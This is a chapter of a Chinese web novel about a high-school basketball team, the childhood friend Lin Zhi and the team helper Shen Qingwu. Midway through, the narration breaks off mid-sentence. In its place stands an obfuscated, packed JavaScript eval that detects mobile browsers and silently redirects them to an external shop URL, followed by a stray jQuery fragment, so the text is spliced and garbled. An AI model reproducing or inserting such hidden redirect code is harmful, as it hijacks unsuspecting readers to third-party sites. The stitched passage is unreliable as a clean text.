林栀握着手机走出篮球场的时候,外头太阳已经升得挺高了,阳光明晃晃地铺在水泥路面上。天气很热。学校旁边那条小街上有两家小超市,她挑了近的那家走进去,冰柜的冷气扑面而来,激得她胳膊上起了一层细小的疙瘩,但同时也很凉爽。
她站在冰柜前面看了好一会儿。各种颜色的运动饮料和功能饮料摆在玻璃门后面,她拿了一瓶和刚刚看到沈青芜递出去一样的,冰柜里拿出来瓶身冰冰的,指尖碰到的时候凉意顺着指腹一直窜到手腕。
等她回到操场的时候,场上的对抗又换了一轮。陆屿正好从场上下来,正要往长椅那边走。林栀加快了步子,握着那瓶冰饮料的指节收紧了。沈青芜也从椅子上站起来,手里已经拎着一瓶拧开的水,显然是要递给陆屿的。
“陆屿哥。”
林栀的声音不大,但足够清晰。陆屿的脚步顿住了,偏头看过来。林栀三步并两步走到他面前,把那瓶运动饮料递过去,瓶身上的水珠在她掌心里洇成一滩湿痕。
“给你,”她说,声音带着小女孩的羞涩:“我特意给你买的。”
陆屿低头看着那瓶递到面前的水。瓶身上凝着密密麻麻的冰水珠,在四月上午的太阳底下反着光。
他呆住没动,沈青芜已经走过来了,手里的水瓶在半空中停顿了一下,然后她笑了笑,把水递了过去。
“屿哥,喝这个吧。”
她自然的很,跟刚才递水给方野周晨的时候没区别。也根本无视了林栀的动作。
陆屿看了她一眼,又看了看林栀。林栀的手还举在半空中,瓶身上的冰水顺着她虎口往下淌,滴在水泥地上,洇开一个深色的圆点。
他抬手接了沈青芜递过来的那瓶水。
“谢了。”他说,拧开盖子喝了一口。
林栀的手悬在那里。脸上带着不可置信。冰冰的饮料瓶在她掌心里冰得发疼,她看着陆屿眼圈泛红。她不敢相信自己的陆屿哥为什么不接她的水,明明他们才是青梅竹马,现在要为了沈青芜这个外人这么丢她的面子吗:“陆沉哥…”她的声音带着哭腔。
“林栀,”沈青芜的声音适时地响起来,带着一点嗔怪又亲昵的语气:“我知道你是好心,可屿哥他刚剧烈运动完,不能喝冰水的。你这个是从冰柜里刚拿出来的吧?”
林栀转头看向沈青芜,这才明白为什么刚才陆屿犹豫了:“……我不知道。”她喃喃说。一切都有了解释,可是她还是觉得好丢脸。
“没事,你别费心了。”陆屿这时候开口了,手里握着那瓶水:“教练早就把水准备好了,你看都在那边堆着呢。”他用下巴点了点场边那堆箱装水:“我们训练都是喝那个的,不用另外买。”
林栀顺着他的视线看过去。那堆箱子码得整整齐齐,商标朝外,确实是统一采购的。她握着冰饮料的手终于放下来了,垂在身侧,冰水顺着她手指往下淌,在地上留下一条细细的水痕。
沈青芜在旁边笑了一声,声音轻轻快快的:“屿哥你也别怪林栀,像她这样的小姑娘不太懂这些运动常识也很正常。”
她说完拍了拍林栀的肩膀,动作亲昵又大方,像姐姐安慰妹妹似的:“你别往心里去啊林栀,下次买常温的就行,冰的是真不能喝,喝了会不舒服的。”
林栀往后退了半步,避开了她的手。她的睫毛垂下来,遮住了眼底的神色:“我先回去了。”
她转身的时候马尾甩了一下,步子很快。陆屿站在原地,看着她的背影走远了,手里的水瓶被他捏了一下。他能明显的看出林栀的不高兴。但他不知道为什么,这个从小和自己一起长大的邻家妹妹,这几个月里越来越奇怪。就像现在,明明早上在家门口遇见,是她自己主动说要来看球的,可是现在还不到中午她就又自己要回去。
“屿哥?”沈青芜在旁边叫他,声音已经切换回那种聊球赛的语气了:“你下一轮还上吗?教练说第三节让你休息一下,第四节再上。”
陆屿收回目光:“嗯,行。”
他拧开那瓶水又喝了一小口,凉意顺着喉咙滑下去。他看了看旁边那堆箱子,又看了看沈青芜已经转过去招呼另一个下场的队员的背影。
沈青芜正忙着把毛巾递给刚下来的刘洋,弯腰从箱子底下抽出一瓶水拧开递过去,嘴上不停地说着:“你刚才那个抢断不错,但是之后快攻那一下你速度没起来,被人追上来了,下次启动那一下步子跨大一点……”
陆屿站在两步开外,手里握着那半瓶水,看了一会儿。他和林栀之间越来越没有共同话题,而沈青芜同样是女生却和所有人都相处和谐。
接下来的训练又持续了将近一个小时。沈青芜一直没闲着,十二个队员轮番上场下场,她像个后勤总管似的把每个人从头到脚招呼了一遍。毛巾从她手里递出去,空瓶收回来扔进垃圾袋,记分板上密密麻麻全是铅笔字。
等到李庆吹哨喊停的时候,已经快十一点了。太阳明晃晃地挂在头顶,操场上的影子缩成一团。队员们三三两两散开去收拾东西,有的瘫在台阶上灌水,有的弯腰拆护膝。他们中午休息吃完饭后,下午再回来训练。
陆屿在长椅上坐了一会儿,膝盖上搭着毛巾,肩胛骨靠在椅背上。旁边的位置沈青芜终于坐下来了,她把记分板往边上一放,整个人往后一仰,长长地吐了口气。
“累死我了。”她说,伸手揉着自己的后颈:“比打球还累。”
陆屿偏头看她。灯光从头顶照下来,被她额前的黑色发带挡住了一部分,在鼻梁上投下一小片阴影。她的睫毛不算很长,但是很密,垂下来的时候在眼睑下方有一层淡淡的影子。脸颊因为累了一上午微微泛着粉,鼻尖有一点点汗,在光线下亮晶晶的。那颗小虎牙在她嘴角若隐若现,她正闭着眼揉后颈,线条从下颌沿着脖子一路延伸到锁骨窝,宽大的领口露出一截细白的皮肤。
他忽然意识到自己看了有点久,移开了目光。
“青芜,”他转移话题,喉结动了动:“你要是能上场打下周的比赛就好了。”
沈青芜睁开眼看他,歪了歪头:“为什么?”
“我是说以你的技术,”陆屿的目光落在球场上,声音尽量放得随意,“上场的话肯定能给校队拿大分。毕竟你的三分比我们几个都准。”
沈青芜嗤地笑了一声,重新靠回椅背上:“别想了。我要是上场,输了不谈,要是赢了,对面保不齐得说‘女生来了我们都不敢防’,多麻烦。”
“不会的,”陆屿说:“没人会这么说。你明明就很厉害。”
沈青芜偏过头看他,嘴角挂着笑:“他们会的。因为……”然后她坐直了身子,冲他挺了挺胸。那个动作做得坦荡极了,甚至还带着点挑衅的意思。她的身材其实很好,只是一直穿着宽大的中性服饰,和她大大咧咧的性格,让人会经常忽视这一点。
因为她的动作,陆屿能清晰的看见,他的视线扫过她胸前被衣服布料包裹着的弧度,喉结又动了一下,立马移开了目光,假装去喝手里那半瓶水。
“只有你觉得不会,”沈青芜的声音从旁边传过来,带着笑:“屿哥,你就别安慰我了。”
她说着又靠回椅背上,两条腿伸直了搭在一起,脚踝处露出的皮肤白得晃眼。她把胳膊枕在脑后,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760857|208697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着头顶的建筑,声音忽然收了笑,变得有点平。
“其实吧,我很高兴转来这个学校。你们挺容易就接受我了,包括教练也是,愿意带我一起训练。”她顿了顿:“这是我第一次加入篮球队。现在其实大多的学校,都没有女子篮球队。从小我就喜欢打篮球,可在别人眼里就……挺奇怪的。男生球队也不乐意接纳我,嫌麻烦。所以我只能自己练。”
她说得轻描淡写。陆屿偏头看着她,她的侧脸平静极了,睫毛在灯光下投出一小排细细的阴影。
“你知道为什么我三分球准吗,”她忽然笑了一下,回头和陆屿对视,那眼睛里好像有亮光闪过:“是因为小时候打球没有人陪我玩。而练三分球不需要跟人配合。一个人站在那儿投就行。我就这么练了好多年。”
陆屿从她泛红的眼眶里,好像看到了过去她一个人练球的样子。他的胸口一瞬间感觉闷闷的。他在心疼面前的这个女孩。
沈青芜说完安静了一会儿,她吸了一下鼻子,下一秒就调节好了一样,再看陆屿眼睛亮亮的。
“下周的篮球赛,结束后,”她说:“我应该以后就不会再碰篮球了。”
陆屿皱眉:“为什么?”
“马上就要高考了呀,”沈青芜笑起来,露出她的小虎牙:“我也得好好学习了。”
她说着耸了耸肩,很洒脱的样子。陆屿看了她几秒,点了点头:“我也是。为了考试,估计以后也没什么时间打球了,大学再说吧。”
“所以啊,”沈青芜转过来看着他,目光认认真真地落在他脸上:“下周的比赛,会是我参与的第一场,也是我们高中的最后一场比赛了。”
空调的风吹过来,把沈青芜额前的碎发吹起来又放下。她的眼睛亮着,嘴角那点笑意收起来了,表情认真得让陆屿忽然有点不习惯。
“赢给我看吧,陆屿。”她的声音认真且严肃:“让我感受一下胜利的感觉。”
她说这句话的时候,眼睛里映着光。明亮的光线在她浅褐色的瞳仁里晃着,像碎了满地的金子。陆屿看着她,看到她因为仰头而绷紧的下颌线,看到她被冷风吹起的碎发后面那截干净的后颈,看到她嘴角那颗小小的虎牙在说话时若隐若现。
他忽然意识到,沈青芜其实很好看。他一直知道她好看,第一眼就知道,但这半年她跟他勾肩搭背称兄道弟太久了,他几乎忘了这一点。现在她安安静静地坐在这里,认真地看着他,眼睛里亮晶晶的,他才发现她的五官其实是很精致的。眉毛是那种不浓不淡的弯眉,眉尾收得干净利落,鼻梁挺而直,鼻尖微微翘着一点弧度,嘴唇薄,但唇形分明,嘴角天生微微上翘,不笑也像在笑。她是很好看的女生。
他喉结又动了一下,把目光从她脸上移开,清了清嗓子。
“好。”他说。声音比自己预想的哑了一点:“我会的。带着你的那份期待,赢下来。”
他顿了顿,把目光转回来,看着她,一字一字地说:“为我们的青春,画个完美的句号。”
沈青芜愣了一下,然后笑了。那个笑容跟之前那种大大咧咧的笑不太一样,浅了一些,也柔了一些,像四月风里最后一片还没来得及落下来的樱花。
“行,”她说,伸手拍了拍他的肩:“那我等着看了,屿哥。别让我失望。”
陆屿说:“不会的。”
那天训练结束的时候,已经是晚上了。队员们收拾东西陆续走了,沈青芜背着她那个黑色运动包站在校门口冲他摆了摆手:“走了啊屿哥。”
“等等。”陆屿朝她跑过去:“现在太晚了,你一个人不安全,我送你回家吧。”